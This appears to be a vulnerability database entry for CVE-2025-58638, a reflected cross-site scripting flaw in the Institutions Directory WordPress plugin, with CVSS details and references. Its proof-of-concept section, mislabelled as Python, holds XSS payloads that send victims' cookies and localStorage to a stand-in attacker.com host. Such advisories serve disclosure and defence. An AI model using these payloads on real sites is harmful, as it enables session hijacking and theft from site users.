CVE-2025-58638

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Institutions Directory institutions-directory allows Reflected XSS.This issue affects Institutions Directory: from n/a through <= 1.3.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Institutions Directory WordPress插件 <= 1.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-58638 Reflected XSS PoC -->
<!-- 攻击者构造的恶意URL示例 -->
<script>
// PoC: 反射型XSS漏洞利用代码
const maliciousPayload = '<script>alert(document.cookie)</script>';
const targetUrl = 'https://vulnerable-site.com/wp-admin/admin.php?page=institutions-directory&search=' + encodeURIComponent(maliciousPayload);

// 实际攻击中可能使用的更危险payload
const stealCookiePayload = "<img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\">";
const sessionHijackPayload = "<script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>";

console.log('Malicious URL:', targetUrl);

// 模拟受害者点击链接后的脚本执行
function simulateAttack() {
    // 1. 提取敏感信息
    const cookies = document.cookie;
    const localStorage = window.localStorage;
    
    // 2. 发送到攻击者服务器
    // fetch('https://attacker-controlled-site.com/collect?data=' + btoa(JSON.stringify({cookies, localStorage})));
    
    console.log('Session would be stolen:', cookies);
}
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58638
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58638
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58638/
[4] VulDB https://vuldb.com/cve/CVE-2025-58638
[5] https://patchstack.com/database/Wordpress/Plugin/institutions-directory/vulnerability/wordpress-institutions-directory-plugin-1-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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